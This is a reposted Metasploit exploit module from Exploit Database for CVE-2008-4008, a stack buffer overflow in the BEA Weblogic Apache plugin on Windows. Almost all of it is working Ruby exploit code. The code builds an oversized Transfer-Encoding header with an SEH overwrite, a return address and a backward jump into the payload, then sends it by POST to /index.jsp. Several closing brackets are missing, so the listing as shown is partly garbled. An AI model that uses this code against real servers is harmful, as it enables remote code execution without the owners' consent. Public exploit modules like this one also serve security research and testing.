BEA Weblogic – Transfer-Encoding Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2010-07-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16796/

# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Apache/ ] }

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',

'Description'=> %q{

This module exploits a stack based buffer overflow in the BEA

Weblogic Apache plugin.This vulnerability exists in the

error reporting for unknown Transfer-Encoding headers.

You may have to run this twice due to timing issues with handlers.

'Author' => 'pusscat',

'Version'=> '$Revision: 9744 $',

'References' =>

[

[ 'CVE', '2008-4008' ],

[ 'OSVDB', '49283' ],

[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Privileged' => true,

'Platform' => 'win',

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x0d\x0a",

'StackAdjustment' => -1500,

'Targets'=>

[

['Windows Apache 2.2 version Universal',

{

'Ret' => 0x1001f4d6,#pop/pop/ret

}

'DisclosureDate' => 'Sept 09 2008',

'DefaultTarget'=> 0))

end

def exploit

sploit = rand_text_alphanumeric(5800)

sploit[5781, 8] = generate_seh_record(target.ret)

# Jump backward to the payload

sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"

sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

datastore['VHOST'] = 'localhost'

send_request_cgi(

{

'method'=> 'POST',

'url' => '/index.jsp',

'data'=> '',

'headers' =>

{

'Transfer-Encoding' => sploit

}

})

handler

end